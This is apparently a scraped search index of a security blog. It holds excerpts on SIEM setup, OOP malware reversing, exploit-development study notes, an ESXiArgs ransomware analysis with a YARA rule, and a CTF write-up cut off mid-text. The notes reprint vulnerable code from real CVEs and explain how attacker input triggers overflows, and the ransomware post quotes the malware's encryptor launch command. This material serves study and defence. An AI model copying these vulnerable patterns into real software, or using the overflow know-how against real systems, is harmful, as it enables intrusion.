winlogbeat.event_logs: - name: Application - name: Security - name: System To obtain a list of available event logs, run Get-EventLog * in PowerShell. For more information about this command, see the configuration details for event_logs.name. (Optional) Set logging options to write Winlogbeat logs to a file: logging.to_files: true logging.files: path: C:\\ProgramData\\winlogbeat\\Logs logging.level: info After you save your configuration file, test it with the following command. .\\winlogbeat.exe test config -c .\\winlogbeat.yml -e Now you can run the following commands to actually start the service .\\winlogbeat.exe setup -e Start-Service winlogbeat Going to our kibana we will find the new source âwinlogbeatâ added Referencess âJamon Camissoâ article at Digital Ocean. Suricata official site Elastic official site ","categories": ["Forensic investigation"], 52 "tags": [], 53 "url": "/forensic%20investigation/SIEM-Build/", 54 "teaser": "/assets/images/forensic-investigation/SIEM-Build/kibanasearch.png" 55 },{ 56 "title": "OOP MAlware Analysis", 57 "excerpt":"What IS Different Here If You Are a new Analyst or you didnât face the kind of situation where you are required to analyze malware that is written in OOP You will find yourself lost when you are trying to re
57cognize OOP Concepts in Assembly code. In this blog, I will explain how you can identify these patterns using a malware sample that uses OOP is written in C++ âwhich we have the source code forâ, Some concepts maybe not be presented in the sample so I will demonstrate them from different sources. note: I used the Symbols to make it easy as possible to explain but in real life, there will be no symbols At start, you can beautify the names a little bit in IDA With the following option. and choose the name radio button. Object Creation The first thing to start with is the creation of a new object, The object can be created in Stack or Heap. ObjA object = new objA; here is assembly code from inside a function that takes one parameter which is âsizeâ the size of the object, and also inside the function it specifies where to create it âin ecxâ. Now you can access members of the object using an index from this pointer. Constructor After creating an object the first thig that happens is calling the constructor which simply is a function that has the same name as the class. In the following picture our object is created with the first function and the âg_loogerâ is the pointer to it. Vtable Once you create an object you actually allocate a memory that has a specific structure for that object which contains its members and pointers to its virtual functions. In the Structures tab in ida, you can view the structure for the object âKeyloggerâ And once the object is created you can see it in the created memory the calls to the virtual functions will be using an index into the Vtable note: If the Vtable is very large to trace manually you can quickly create a structure for it using IDA by highlighting the vtable , right click and choosing 'create structure from selecting' ","categories": ["Malware Analysis"], 58 "tags": [], 59 "url": "/malware%20analysis/OOP-Malware-Analysis/", 60 "teaser": "/assets/images/malware-analysis/OOP-Malware-Analysis/memory.png" 61 },{ 62 "title": "Exploit Development", 63 "excerpt":"Approach This matrial is like a study note of mine, It will contain an advanced matrial as it will cover redicovering vulnrabilities which is some how new, I will Start in each category by mentioning a small brief about it then moving to the discovery tips. ACID : Attacker Controled Input Data Stack-based Buffer Overflows In Stack-based buffer overflows we are in the situation were the data is copied from a buffer to another buffer and the Size of that data is not taken care of, in this situation the distination buffer maybe filled and data continues to write after the buffer limites. Discovery tips The Things that you always need to look at when you try to find a use of non-safefunction with parameters that is user controled and with no sanatization. Also you can look for data writes in a loob that its index or counter and data is controlled by user input. Unsafe functions: memcpy strcpy strcat sprintf fread gets vsprintf â¦etc unsafe and safe alternatives by microsoft generaly look for the functions that dealing with strings, copying or moving data. Here we have a vulnrable code from the readelf binary that assigned CVE-2021-20294 ////ACID: filedata, symtab, section, strtab, strtab_size static void print_dynamic_symbol (Filedata *filedata, unsigned long si, Elf_Internal_Sym *symtab, Elf_Internal_Shdr *section, char *strtab, size_t strtab_size) { const char *version_string; enum versioned_symbol_info sym_info; unsigned short vna_other; Elf_Internal_Sym *psym = symtab + si; printf (\"%6ld: \", si); print_vma (psym->st_value, LONG_HEX); putchar (' '); print_vma (psym->st_size, DEC_5); printf (\" %-7s\", get_symbol_type (filedata, ELF_ST_TYPE (psym->st_info))); printf (\" %-6s\", get_symbol_binding (filedata, ELF_ST_BIND (psym->st_info))); if (filedata->file_header.e_ident[EI_OSABI] == ELFOSABI_SOLARIS) printf (\" %-7s\", get_solaris_symbol_visibility (psym->st_other)); else { unsigned int vis = ELF_ST_VISIBILITY (psym->st_other); printf (\" %-7s\", get_symbol_visibility (vis)); /* Check to see if any other bits in the st_other field are set. Note - displaying this information disrupts the layout of the table being generated, but for the moment this case is very rare. */ if (psym->st_other ^ vis) printf (\" [%s] \", get_symbol_other (filedata, psym->st_other ^ vis)); } printf (\" %4s \", get_symbol_index_type (filedata, psym->st_shndx)); bfd_boolean is_valid = VALID_SYMBOL_NAME (strtab, strtab_size, psym->st_name); const char * sstr = is_valid ? strtab + psym->st_name : _(\"\"); version_string = get_symbol_version_string (filedata, (section == NULL || section->sh_type == SHT_DYNSYM), strtab, strtab_size, si, psym, &sym_info, &vna_other); // Lots of ACID in will yield ACID out int len_avail = 21; if (! do_wide && version_string != NULL) // do_wide is true iff -W option passed { char buffer[256]; len_avail -= sprintf (buffer, \"@%s\", version_string); if (sym_info == symbol_undefined) len_avail -= sprintf (buffer,\" (%d)\", vna_other); else if (sym_info != symbol_hidden) len_avail -= 1; } print_symbol (len_avail, sstr); // ... } Applying the previous mentioned discovery tips to our code we can find the use of âsprintfâ with a user controled data âversion_stringâ without sanatization. version_string = get_symbol_version_string (filedata, (section == NULL || section->sh_type == SHT_DYNSYM), strtab, strtab_size, si, psym, &sym_info, &vna_other); ... char buffer[256]; len_avail -= sprintf (buffer, \"@%s\", version_string); ... Here we have a vulnrable code from the htmldoc binary that assigned ` CVE-2021-43579` ////ACID: everything read from fp static int /* O - 0 = success, -1 = fail */ image_load_bmp(image_t *img, /* I - Image to load into */ FILE *fp, /* I - File to read from */ int gray, /* I - Grayscale image? */ int load_data)/* I - 1 = load image data, 0 = just info */ { int info_size, /* Size of info header */ depth, /* Depth of image (bits) */ compression, /* Type of compression */ colors_used, /* Number of colors used */ x, y, /* Looping vars */ color, /* Color of RLE pixel */ count, /* Number of times to repeat */ temp, /* Temporary color */ align; /* Alignment bytes */ uchar bit, /* Bit in image */ byte; /* Byte in image */ uchar *ptr; /* Pointer into pixels */ uchar colormap[256][4];/* Colormap */ // Get the header... getc(fp); /* Skip \"BM\" sync chars */ getc(fp); read_dword(fp); /* Skip size */ read_word(fp); /* Skip reserved stuff */ read_word(fp); read_dword(fp); // Then the bitmap information... info_size = (int)read_dword(fp); img->width = read_long(fp); img->height = read_long(fp); read_word(fp); depth = read_word(fp); compression = (int)read_dword(fp); read_dword(fp); read_long(fp); read_long(fp); colors_used = (int)read_dword(fp); read_dword(fp); if (img->width <= 0 || img->width > 8192 || img->height <= 0 || img->height > 8192) return (-1); if (info_size > 40) for (info_size -= 40; info_size > 0; info_size --) getc(fp); // Get colormap... if (colors_used == 0 && depth <= 8) colors_used = 1 << depth; fread(colormap, (size_t)colors_used, 4, fp); // Setup image and buffers... img->depth = gray ? 1 : 3; // If this image is indexed and we are writing an encrypted PDF file, bump the use count so // we create an image object (Acrobat 6 bug workaround) if (depth <= 8 && Encryption) img->use ++; // Return now if we only need the dimensions... if (!load_data) return (0); img->pixels = (uchar *)malloc((size_t)(img->width * img->height * img->depth)); if (img->pixels == NULL) return (-1); if (gray && depth <= 8) { // Convert colormap to grayscale... for (color = colors_used - 1; color >= 0; color --) colormap[color][0] = (colormap[color][2] * 31 + colormap[color][1] * 61 + colormap[color][0] * 8) / 100; } // Read the image data... color = 0; count = 0; align = 0; byte = 0; temp = 0; for (y = img->height - 1; y >= 0; y --) { ptr = img->pixels + y * img->width * img->depth; switch (depth) { case 1 : /* Bitmap */ for (x = img->width, bit = 128; x > 0; x --) { if (bit == 128) byte = (uchar)getc(fp); if (byte & bit) { if (!gray) { *ptr++ = colormap[1][2]; *ptr++ = colormap[1][1]; } *ptr++ = colormap[1][0]; } else { if (!gray) { *ptr++ = colormap[0][2]; *ptr++ = colormap[0][1]; } *ptr++ = colormap[0][0]; } if (bit > 1) bit >>= 1; else bit = 128; } /* * Read remaining bytes to align to 32 bits... */ for (temp = (img->width + 7) / 8; temp & 3; temp ++) getc(fp); break; case 4 : /* 16-color */ for (x = img->width, bit = 0xf0; x > 0; x --) { /* * Get a new count as needed... */ if (compression != BI_RLE4 && count == 0) { count = 2; color = -1; } if (count == 0) { while (align > 0) { align --; getc(fp); } if ((count = getc(fp)) == 0) { if ((count = getc(fp)) == 0) { /* * End of line... */ x ++; continue; } else if (count == 1) { /* * End of image... */ break; } else if (count == 2) { /* * Delta... */ count = getc(fp) * getc(fp) * img->width; color = 0; } else { /* * Absolute... */ color = -1; align = ((4 - (count & 3)) / 2) & 1; } } else color = getc(fp); } /* * Get a new color as needed... */ count --; if (bit == 0xf0) { if (color < 0) temp = getc(fp) & 255; else temp = color; /* * Copy the color value... */ if (!gray) { *ptr++ = colormap[temp >> 4][2]; *ptr++ = colormap[temp >> 4][1]; } *ptr++ = colormap[temp >> 4][0]; bit = 0x0f; } else { /* * Copy the color value... */ if (!gray) { *ptr++ = colormap[temp & 15][2]; *ptr++ = colormap[temp & 15][1]; } *ptr++ = colormap[temp & 15][0]; bit = 0xf0; } } break; case 8 : /* 256-color */ for (x = img->width; x > 0; x --) { /* * Get a new count as needed... */ if (compression != BI_RLE8) { count = 1; color = -1; } if (count == 0) { while (align > 0) { align --; getc(fp); } if ((count = getc(fp)) == 0) { if ((count = getc(fp)) == 0) { /* * End of line... */ x ++; continue; } else if (count == 1) { /* * End of image... */ break; } else if (count == 2) { /* * Delta... */ count = getc(fp) * getc(fp) * img->width; color = 0; } else { /* * Absolute... */ color = -1; align = (2 - (count & 1)) & 1; } } else color = getc(fp); } /* * Get a new color as needed... */ if (color < 0) temp = getc(fp); else temp = color; count --; /* * Copy the color value... */ if (!gray) { *ptr++ = colormap[temp][2]; *ptr++ = colormap[temp][1]; } *ptr++ = colormap[temp][0]; } break; case 24 : /* 24-bit RGB */ if (gray) { for (x = img->width; x > 0; x --) { temp = getc(fp) * 8; temp += getc(fp) * 61; temp += getc(fp) * 31; *ptr++ = (uchar)(temp / 100); } } else { for (x = img->width; x > 0; x --, ptr += 3) { ptr[2] = (uchar)getc(fp); ptr[1] = (uchar)getc(fp); ptr[0] = (uchar)getc(fp); } } /* * Read remaining bytes to align to 32 bits... */ for (temp = img->width * 3; temp & 3; temp ++) getc(fp); break; } } return (0); } As mentioned, a use of non-safe function âfreadâ with a user controled parameters âfpâ & âcolors_usedâ and as the definetion of âfread tells usâ fread(void *ptr, size_t size, size_t nmemb, FILE *stream) here we can control how many bytes from our input will be copied to the fixed lingth buffer âcolormapâ fread(colormap, (size_t)colors_used, 4, fp); Here we have a vulnrable code from the Cellular Baseband (Exynos 980 SoC) samsung firmware char ** find_tag_end(char **result) { char *i; unsigned int v2; unsigned int cur_char; for (i = *result ; ; ++i) { cur_char = (unsigned __int8)*i; if (cur_char <= 0xD && ((1 << cur_char) & 0x2601) != 0) // \\0 \\t \\n \\r break; v2 = cur_char - 32; if (v2 <= 0x1F && ((1 << v2) & (unsigned int)&unk_C0008001) != 0) // space / > ? break; } *result = i; return result; } int IMSPL_XmlGetNextTagName(char *src, char *dst){ char * ptr = src; // The cut code will: // 1. Skip space characters // 2. Find the beginning mark '<' // 3. Skip comments // ... char * v8 = ptr + 1; char ** v13; v13[0] = v8; find_tag_end((char **)v13); v9 = v13[0]; if (v8 != v13[0]) { memcpy(dst, (int *) ((char *)ptr + 1), v13[0] - v8); dst[v9 - v8] = 0; V12 = 10601; // IMSPL_XmiGetNextTagName: Tag name v11 = &log_struct_437f227c; Logs((int *)&v11, (int)dst, -1, -20071784); * (unsigned __int8 **)src = v13[0]; LOBYTE(result) = 1; return (unsigned __int8) result; } // ... } int IMSPL_XmlParser_ContactLstDecode(int *a1, int *a2) { unsigned __int8 *v4; int v5; log_info_s *v7; int v8; unsigned __int8 *v9; int v10; char v11[136]; bzero(v11, 100); v10 = 0; v4 = (unsigned __int8 *)*a1; v8 = 10597; v9 = v4; // ----------%s---------- v7 = &log_struct_4380937c; log_0x418ffa6c(&v7, \"IMSPL_XmlParser_ContactLstDecode\", -20071784) ; if (IMSPL_XmlGetNextTagName((char *)&v9, v11) ! = 1) { LABEL_8: *a1 = (int)v9; v8 = 10597; // Function END v7 = &log_struct_43809448; log_0x418ffa6c(&v7, -20071784) ; return 1; } // ... } Here you can found that the âfind_tag_endâ function is the one responsible for detrmine what is the size which will be copied using âmemcpyâ to the fixed buffer âdstâ and all that happens with our controlled input data. Heap Based Overflow It happens when too much data is written to a buffer stored on the heap, thus overflowing its bounds, and corrupting adjacent data. Discovery tips The Things that you always need to look at when you try to find a use of non-safefunction with parameters that is user controled and with no sanatization. Also
63 you can look for data writes in a loob that its index or counter and data is controlled by user input. Here we have a vulnrable code from the TCP/IP Stack assigned CVE-2020-25111 ////ACID: cp static uint16_t ScanName(uint8_t * cp, uint8_t ** npp){ uint8_t len; uint16_t rc; uint8_t *np; if(*npp){ free(*npp); *npp = 0; } if((*cp & 0xC0) == 0xC0) return 2; rc = strlen((char *) cp) + 1; np = *npp = malloc(rc); len = *cp++; while(len){ while (len--) *npp++ = *cp++; if((len = *cp++) != 0) *np++ = '.'; } *np = 0; return rc; } here we can see that we control the âcpâ pointer value that controls the size of the allocation and the loop conditions. Out Of Bound Write thatâs when ACID isused to calculate a memory location(that is out of bounds of the intended memory), and then ACID is Written to that location. Discovery Tips USing ACID for âarray indexâ calculation. âBase + Offset(ACID)â Here we have a vulnrable code from the Adobe Type 1 font parsing assigned CVE-2020-0938 ////ACID: num_master int SetBlendDesignPositions(void *arg) { int num_master; Fixed16_16 values[16][15]; for (num_master = 0; ; num_master++) { if (GetToken() != TOKEN_OPEN) { break; } //KC: writes an ACID number (0-15) of ACID values at &values[num_master] int values_read = GetOpenFixedArray(&values[num_master], 15); SetNumAxes(values_read); } SetNumMasters(num_master); for (int i = 0; i < num_master; i++) { procs->BlendDesignPositions(i, &values[i]); } return 0; } Here we can control the ânum_masterâ variable as it will never go to the write part before we provide the âTOKEN_OPENâ So we can write 16 bytes at any index from the âvaluesâ array. Here we have another vulnrable snippest Images (National Imagery Transmission Format (NITF)) parser assigned CVE-2020-13995 // Globals char Gstr[255]; char sBuffer[1000]; //... /* V2_0, V2_1 */ int number_of_DESs; segment_info_type *DES_info; //... long read_verify(int fh, char *destination, long length, char *sErrorMessage) { long rc; long start; long file_len; static char sTemp[150]; rc = read(fh, destination, length); if (rc == -1) { start = lseek(fh, 0, SEEK_CUR); file_len = lseek(fh, 0, SEEK_END); sprintf(sTemp, \"Error reading, read returned %ld. (start = %ld, \\ read length = %ld, file_length = %ld\\n%s\\n\", rc, start, length, file_len, sErrorMessage); errmessage(sTemp); iQuit(1); } else if (rc != length) { start = lseek(fh, 0, SEEK_CUR) - rc; file_len = lseek(fh, 0, SEEK_END); sprintf(sTemp, \"Error reading, read returned %ld. (start = %ld, \\ read length = %ld, file_length = %ld\\n%s\\n\", rc, start, length, file_len, sErrorMessage); errmessage(sTemp); printf(\"errno=%d\\n\", errno); iQuit(1); } return rc; } ////ACID: hNITF int main(int argc, char *argv[]){ //... rc = open(sNITFfilename, O_RDONLY| O_BINARY); //... hNITF = rc; //... read_verify(hNITF, (char *) sBuffer, 3, \"error reading header (# extension segs\"); sBuffer[3] = '\\0'; number_of_DESs = atoi(sBuffer); if (number_of_DESs > 0) { /* Allocate Space for extension segs information arrays */ DES_info = (segment_info_type *) malloc(sizeof(segment_info_type) * number_of_DESs); if (DES_info == NULL) { errmessage(\"Error allocating memory for DES_info\"); iQuit(1); } /* Read Image subheader / data lengths */ read_verify(hNITF, sBuffer, 13 * number_of_DESs, \"Error reading header / image subheader data lengths\"); temp = sBuffer; for (x = 0; x < number_of_DESs; x++) { strncpy(Gstr, temp, 4); Gstr[4] = '\\0'; DES_info[x].length_of_subheader = atol(Gstr); temp += 4; strncpy(Gstr, temp, 9); Gstr[9] = '\\0'; DES_info[x].length_of_data = atol(Gstr); temp += 9; DES_info[x].pData = NULL; DES_info[x].bFile_written = FALSE; } } } What happend here is that we control the input file âhNIFTâ that will be copied to a buffer âsBufferâ and with that we can control the SIze of data read and the size of allocation with controlling ânumber_of_DESsâ after that c
63ontrolling the âtempâ variable that will in the last assigned to a pointer âDES_infoâ and know we have control over that pointer. This is for you. Can you find the vulnrability?! struct flow_action { unsigned int num_entries; struct flow_action_entry entries[]; }; struct flow_rule { struct flow_match match; struct flow_action action; }; struct nft_flow_rule { __be16 proto; struct nft_flow_match match; struct flow_rule *rule; }; struct nft_offload_ctx { struct { enum nft_offload_dep_type type; __be16 l3num; u8 protonum; } dep; unsigned int num_actions; struct net *net; struct nft_offload_reg regs[NFT_REG32_15 + 1]; }; /** * struct_size() - Calculate size of structure with trailing array. * @p: Pointer to the structure. * @member: Name of the array member. * @count: Number of elements in the array. * * Calculates size of memory needed for structure @p followed by an * array of @count number of @member elements. * * Return: number of bytes needed or SIZE_MAX on overflow. */ #define struct_size(p, member, count) \\ __ab_c_size(count, \\ sizeof(*(p)->member) + __must_be_array((p)->member),\\ sizeof(*(p))) #define NFT_OFFLOAD_F_ACTION (1 << 0) struct flow_rule *flow_rule_alloc(unsigned int num_actions) { struct flow_rule *rule; int i; // allocates space for the rule->action.entries[num_actions] array rule = kzalloc(struct_size(rule, action.entries, num_actions), GFP_KERNEL); if (!rule) return NULL; rule->action.num_entries = num_actions; /* Pre-fill each action hw_stats with DONT_CARE. * Caller can override this if it wants stats for a given action. */ for (i = 0; i < num_actions; i++) rule->action.entries[i].hw_stats = FLOW_ACTION_HW_STATS_DONT_CARE; return rule; } static struct nft_flow_rule *nft_flow_rule_alloc(int num_actions) { struct nft_flow_rule *flow; flow = kzalloc(sizeof(struct nft_flow_rule), GFP_KERNEL); if (!flow) return NULL; flow->rule = flow_rule_alloc(num_actions); if (!flow->rule) { kfree(flow); return NULL; } flow->rule->match.dissector = &flow->match.dissector; flow->rule->match.mask = &flow->match.mask; flow->rule->match.key = &flow->match.key; return flow; } static inline struct nft_expr *nft_expr_first(const struct nft_rule *rule) { return (struct nft_expr *)&rule->data[0]; } static inline struct nft_expr *nft_expr_last(const struct nft_rule *rule) { return (struct nft_expr *)&rule->data[rule->dlen]; } static inline bool nft_expr_more(const struct nft_rule *rule, const struct nft_expr *expr) { return expr != nft_expr_last(rule) && expr->ops; } int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx, struct nft_flow_rule *flow, enum flow_action_id id, int oif) { struct flow_action_entry *entry; struct net_device *dev; /* nft_flow_rule_destroy() releases the reference on this device. */ dev = dev_get_by_index(ctx->net, oif); if (!dev) return -EOPNOTSUPP; entry = &flow->rule->action.entries[ctx->num_actions++]; entry->id = id; entry->dev = dev; return 0; } static inline void *nft_expr_priv(const struct nft_expr *expr) { return (void *)expr->data; } static int nft_dup_netdev_offload(struct nft_offload_ctx *ctx, struct nft_flow_rule *flow, const struct nft_expr *expr) { const struct nft_dup_netdev *priv = nft_expr_priv(expr); // assume priv != ACID int oif = ctx->regs[priv->sreg_dev].data.data[0]; return nft_fwd_dup_netdev_offload(ctx, flow, FLOW_ACTION_MIRRED /*5*/, oif); } ////ACID: rule struct nft_flow_rule *nft_flow_rule_create(struct net *net, const struct nft_rule *rule) { struct nft_offload_ctx *ctx; struct nft_flow_rule *flow; int num_actions = 0, err; struct nft_expr *expr; expr = nft_expr_first(rule); while (nft_expr_more(rule, expr)) { if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION) num_actions++; expr = nft_expr_next(expr); } if (num_actions == 0) return ERR_PTR(-EOPNOTSUPP); flow = nft_flow_rule_alloc(num_actions); if (!flow) return ERR_PTR(-ENOMEM); expr = nft_expr_first(rule); ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL); if (!ctx) { err = -ENOMEM; goto err_out; } ctx->net = net; ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC; while (nft_expr_more(rule, expr)) { if (!expr->ops->offload) { err = -EOPNOTSUPP; goto err_out; } err = expr->ops->offload(ctx, flow, expr); // Calls nft_dup_netdev_offload() if (err < 0) goto err_out; expr = nft_expr_next(expr); } nft_flow_rule_transfer_vlan(ctx, flow); flow->proto = ctx->dep.l3num; kfree(ctx); return flow; err_out: kfree(ctx); nft_flow_rule_destroy(flow); return ERR_PTR(err); } Integers Overflows/Underflows This problem is about making a situation of Under_Allocation or Over_Copy and that is happend by using the math of integers. Note: Always bay attension to signed integers it's often causing problems. So we have to understand how that works. if we have 8 byte integer that holds 250 after adding 10 to it it will be 5 and that is integer overflow, that if used will be cause the past mentioned situations. Here we have another vulnrable snippest Windows Kernel Driver (srv2.sys) assigned CVE-2020-0796 ////ACID: The date pointed to by request->pNetRawBuffer signed __int64 __fastcall Srv2DecompressData(SRV2_WORKITEM *workitem) { // declarations omitted ... request = workitem->psbhRequest; if ( request->dwMsgSize < 0x10 ) return 0xC000090B; compressHeader = *(CompressionTransformHeader *)request->pNetRawBuffer; ... newHeader = SrvNetAllocateBuffer((unsigned int)(compressHeader.originalCompressedSegSize + compressHeader.offsetOrLength), 0); if ( !newHeader ) return 0xC000009A; if ( SmbCompressionDecompress( compressHeader.compressionType, &workitem->psbhRequest->pNetRawBuffer[compressHeader.offsetOrLength + 16], workitem->psbhRequest->dwMsgSize - compressHeader.offsetOrLength - 16, &newHeader->pNetRawBuffer[compressHeader.offsetOrLength], compressHeader.OriginalCompressedSegSize, &finalDecompressedSize) < 0 || finalDecompressedSize != compressHeader.originalCompressedSegSize) ) { SrvNetFreeBuffer(newHeader); return 0xC000090B; } if ( compressHeader.offsetOrLength ) { memmove(newHeader->pNetRawBuffer, workitem->psbhRequest->pNetRawBuffer + 16, compressHeader.offsetOrLength); } newHeader->dwMsgSize = compressHeader.OffsetOrLength + fianlDecompressedSize; Srv2ReplaceReceiveBuffer(workitem, newHeader); return 0; } Actually in this code we have not just one overflow, there is two. As we control âpNetRawBufferâ we also controll âcompressHeaderâ with that we can controll the math operation newHeader = SrvNetAllocateBuffer((unsigned int)(compressHeader.originalCompressedSegSize + compressHeader.offsetOrLength), 0); So we can allocate a small chunk of memory Under_Allocation then we have two copy operation to that allocated memory with an attecker controlled data in SmbCompressionDecompress( compressHeader.compressionType, &workitem->psbhRequest->pNetRawBuffer[compressHeader.offsetOrLength + 16], workitem->psbhRequest->dwMsgSize - compressHeader.offsetOrLength - 16, &newHeader->pNetRawBuffer[compressHeader.offsetOrLength], compressHeader.OriginalCompressedSegSize, &finalDecompressedSize) and memmove(newHeader->pNetRawBuffer, workitem->psbhRequest->pNetRawBuffer + 16, compressHeader.offsetOrLength); Here we have another vulnrable snippest Network Packets (HTTP) assigned CVE-2019-5105 ////ACID: param_1 void FUN_00677d70(void **param_1, int param_2, int param_3, int param_4, int param_5 ,uint *p
63aram_6) { int header_length; size_t _Size; int iVar1; int iVar2; int receiver_length; uint sender_length; /* Omitted code */ void *blkDrvPDUdata; /* Omitted code */ iVar2 = *(int *)(param_2 + 0x128) + DAT_007a3534; if (iVar2 < 0xf) { /* Omitted code */ blkDrvPDUdata = *param_1; header_length = (*(byte *)((int)blkDrvPDUdata + 1) & 7) * 2; sender_length = *(byte *)((int)blkDrvPDUdata + 5) & 0xf; receiver_length = (int)(uint)*(byte *)((int)blkDrvPDUdata + 5) >> 4; pvVar3 = (void *)(sender_length + receiver_length + header_length); local_20c = header_length; if (pvVar3 < param_1[1] || pvVar3 == param_1[1]) { pvVar3 = *param_1; if ((*(byte *)((int)blkDrvPDUdata + 2) & 0x10) == 0) { *param_6 = header_length + (sender_length + receiver_length) * 2; if ((*param_6 & 3) != 0) { *param_6 = *param_6 + 2; } _Size = (int)param_1[1] - *param_6; /* Omitted code*/ if ((local_220 < 0x10) && (local_244 < 0x10)) { /* Omitted Code*/ if (local_20c + _Size_00 + iVar1 + local_214 + _Size < 0x201) { memcpy(local_208 + local_214 + iVar1 + _Size_00 + local_20c, (void *)((int)*param_1 + *param_6), _Size ); param_1[1] = (void *)(local_20c + _Size_00 + iVar1 + local_214 + _Size); memcpy(*param_1,local_208,(size_t)param_1[1]); *(int *)(param_5 + 0xc) = (int)*param_1 + local_20c; *(int *)(param_4 + 0xc) = *(int *)(param_5 + 0xc) + *(int *)(param_5 + 8) * 2; *param_6 = local_20c + _Size_00 + iVar1; if ((*param_6 & 3) != 0) { *param_6 = *param_6 + 2; } } } } } } FUN_006ce8f9(); return; } here we controll the â*param_1â variable which is used to calculate many variables that is used to calculate â_sizeâ which is the size of the data will be copied using âmempcyâ memcpy(local_208 + local_214 + iVar1 + _Size_00 + local_20c, (void *)((int)*param_1 + *param_6), _Size ); but the true problem here is that the â_sizeâ is an ubsigned integer that is used to store the result of subtraction operation of singed number âparam_1â that can lead to make it a large number and that make us able to copy a data out of bound. Insinity checks : When the sanatization can be bypassed easily like if you checked the variable as signed then used it as unsigned. Here we have another vulnrable snippest Bluetooth (CC256x and WL18xx chips) assigned CVE-2019-15948 ////ACID: where ptr_ll_pkt points after assignment // Pseudocode from Ghidra decompilation void process_adv_ind_pdu(int ptr_some_struct) { byte bVar1; byte ll_len; uint n; uint uVar2; byte *ptr_ll_pkt; undefined local_40; byte local_3f; undefined auStack62 [0x6]; undefined local_38; undefined stack_buffer [0x1f]; undefined local_18; ptr_ll_pkt = (byte *)(DAT_0005b528 + (uint)*(ushort *)(ptr_some_struct + 0x8)); bVar1 = *ptr_ll_pkt; ll_len = ptr_ll_pkt[0x1]; uVar2 = (uint)bVar1 & 0xf; local_3f = (byte)(((uint)bVar1 << 0x19) >> 0x1f); FUN_00067554(auStack62,ptr_ll_pkt + 0x2,0x6); n = ((uint)ll_len & 0x3f) - 0x6 & 0xff; local_38 = (undefined)n; memcpy(stack_buffer,ptr_ll_pkt + 0x8,n); local_18 = *(undefined *)(ptr_some_struct + 0xa); if ((bVar1 & 0xf) == 0x0) { local_40 = 0x0; } else { if (uVar2 == 0x1) { local_40 = 0x1; local_38 = 0x0; } else { if (uVar2 == 0x2) { local_40 = 0x3; } else { if (uVar2 != 0x6) { return; } local_40 = 0x2; } } } FUN_000398e2(0x1,&local_40); return; } As we controll the variable âptr_ll_pktâ so we can controll the variable ânâ which is used as the size to memcpy and we can make it over copy in the following line of code. n = ((uint)ll_len & 0x3f) - 0x6 & 0xff; ","categories": ["Offensive"], 64 "tags": [], 65 "url": "/offensive/Exploit-Dev/", 66 "teaser": "/assets/images/Offensive/Exploit-Dev/memory.png" 67 },{ 68 "title": "ESXIArgs Ransomware Analysis",
69 "excerpt":"OverView ESXIArgs Ransomware is widely spread these days due to the wide exploitation of a vulnerability with CVE-2021-21974 which is quiet old but is not patched in many ESXI Servers. Sample Overview The threat actor uses two files the first is a bash script and the second is an ELF file that will be executed by the script. SHA256 5a9448964178a7ad3e8ac509c06762e418280c864c1d3c2c4230422df2c66722 *Script.sh SHA256 11b1b2375d9d840912cfd1f0d0d04d93ed0cddb0ae4ddb550a5b62cd044d6b66 *encrypt Script Analysis Starting With Enumerating Configuration files. Then Killed the virtual machine. And Here is the rest. At start, it assigned the execution privileges to the ELF file. then it started by enumerating virtual machine volumes, looking for extensions that will be encrypted, determining the size of the file, calculating the step size if the file is large, and invoking the elf file with that info as arguments. Then the rest of the script is about missing with the environment, itâs deleting log files, backup files, itself, and similar stuff. So Moving to the actual binary. Encryption File Analysis While dropping the file into IDA you will notice that the file is not stripped and actually you will notice while analyzing is that the ransomware is poorly written, which may be due to the lack of Anti-virus software on the ESXI machines or the rush in developing it to use it as quickly as possible. The file is executed with the following parameters. nohup $CLEAN_DIR/encrypt $CLEAN_DIR/public.pem \"$file_e\" $size_step 1 $((size_kb*1024)) >/dev/null 2>&1& The file started with resolving some APIs which is related to RSA functionality using dlopen and dlsym. the file then creates an RSA object and passes the file that needs to be encrypted to the encryption routine. then start the standard encryption mechanism that you can see in every ransomware by Opening the file Read its data Encrypt Read data Write encrypted data back Yara Rule rule ESXIArgs : Ransomware { meta: description = \"This is a basic rule for detecting ESXIArgs Ransomware\" author = \"Amr Ashraf\" strings: $ELF = {7F 45 4C 46} //.ELF header $string1 = \"sosemanuk_internal\" $string2 = \"sosemanuk.c\" $string3 = \"lRSA_private_decrypt\" $string4 = \"lBIO_new_mem_buf\" $string5 = \"get_pk_data: key file is empty!\" $string6 = \"usage: encrypt <public_key> <file_to_encrypt> [<enc_step>] [<enc_size>] [<file_size>]\" $string7 = \"encrypt_simple\" condition: ($ELF at 0) and (5 of ($string*)) } ","categories": ["Malware Analysis"], 70 "tags": [], 71 "url": "/malware%20analysis/ESXIArgs/", 72 "teaser": "/assets/images/malware-analysis/ESXIArgs/resolve.png" 73 },{ 74 "title": "0xL4ugh CTF 2023", 75 "excerpt":"Challenges easybesy we are presented with an exe file that is written in OOP hereâs a quick blog post about how to understand OOP in assemply Once you opened it you will be asked to enter the flag. So letâs reverse it out. I started with correcting the naming on the assembly as mentioned in my blog post Our input length is compared at the start with â26â So we now know the length of the flag. What happens here is a shift left operation with 4 digits and because a 4-digit shift in binary is one digit shift in hexadecimal we are actually flipping the ASCII of the entered character 41 --> 14 42 --> 24 ...etc So We just need to flip the reference that our input will be compared with to get our flag. So this will be this snaky Here we are presented with a python byte code assembly you may take a while if itâs the first time looking at a python byte code assembly 2 0 LOAD_CONST 1 (0) 2 LOAD_CONST 0 (None) 4 IMPORT_NAME 0 (base64) 6 STORE_FAST 0 (base64) 3 8 LOAD_CONST 1 (0) 10 LOAD_CONST 2 (('Fernet',)) 12 IMPORT_NAME 1 (cryptography.fernet) 14 IMPORT_FROM 2 (Fernet) 16 STORE_FAST 1 (Fernet) 18 POP_TOP 4 20 LOAD_CONST 3 (b'gAAAAABj7Xd90ySo11DSFyX8t-9QIQvAPmU40mWQfpq856jFl1rpwvm1kyE1w23fyyAAd9riXt-JJA9v6BEcsq6LNroZTnjExjFur_tEp0OLJv0c_8BD3bg=') 22 STORE_FAST 2 (encMessage) 5 24 LOAD_FAST 0 (base64) 26 LOAD_METHOD 3 (b64decode) 28 LOAD_CONST 4 (b'7PXy9PSZmf/r5pXB79LW1cj/7JT6ltPEmfjk8sHljfr6x/LyyfjymNXR5Z0=') 30 CALL_METHOD 1 32 STORE_FAST 3 (key_bytes) 